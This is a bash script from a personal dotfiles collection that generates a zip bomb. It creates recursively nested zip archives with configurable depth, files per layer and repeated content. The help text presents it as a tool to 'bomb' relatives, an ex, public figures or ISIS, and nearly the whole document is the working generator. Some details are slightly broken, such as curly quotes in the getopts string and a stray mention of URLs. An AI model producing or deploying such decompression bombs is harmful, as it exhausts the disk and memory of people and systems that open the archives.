dotfiles/dot_bin/executable_zipbomb

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2021-02-15 20:53:16 -05:00
#! /bin/bash
help()
{
cat << EOF
help: $0 options
use this classy tool to (zip)bomb the crap out of your mom, dad, ex, annoying sister, George Bush, Donald Trump, Bon Jovi, or ISIS
OPTIONS:
-c Compression algo (zip)
-d Depth (1)
-f Number of files per layer (16)
-n Number of sequences per file (512)
-s Character sequence to store ("0")
-z Name of zipbomb
Note: if any metadata option is not specified,
each option will be prompted every url
EOF
}
name="zipbomb"
comp_algo="zip"
depth=1
files=16
n_seq=512
seq="0"
while getopts “hc:d:f:n:s:z:” OPTION
do
case $OPTION in
h)
help
exit 1
;;
c)
comp_algo=$OPTARG
;;
d)
depth=$OPTARG
;;
f)
files=$OPTARG
;;
n)
n_seq=$OPTARG
;;
s)
seq=$OPTARG
;;
z)
name=$OPTARG
;;
*)
break
;;
esac
done
zipbomb_dir=/tmp/zipbomb
mkdir "$zipbomb_dir"
cd "$zipbomb_dir"
zip_layer() {
level="$1"
#bottom level
if [[ "$level" == 1 ]]; then
perl -E "print '$seq' x $n_seq" > "$zipbomb_dir"/0
for i in $(seq 1 $(($files)))
do
cp "$zipbomb_dir"/0 "$zipbomb_dir"/"$i"
done
zip -qr "$name" ./*
for i in $(seq 0 $(($files)))
do
rm "$i"
done
#above bottom level
else
zip_layer $(($level-1))
mv "$name".zip "0.zip"
for i in $(seq 1 $(($files)))
do
cp "0.zip" "$i".zip
done
zip -qr "$name" ./*
for i in $(seq 0 $(($files)))
do
rm "$i".zip
done
fi
}
zip_layer "$depth"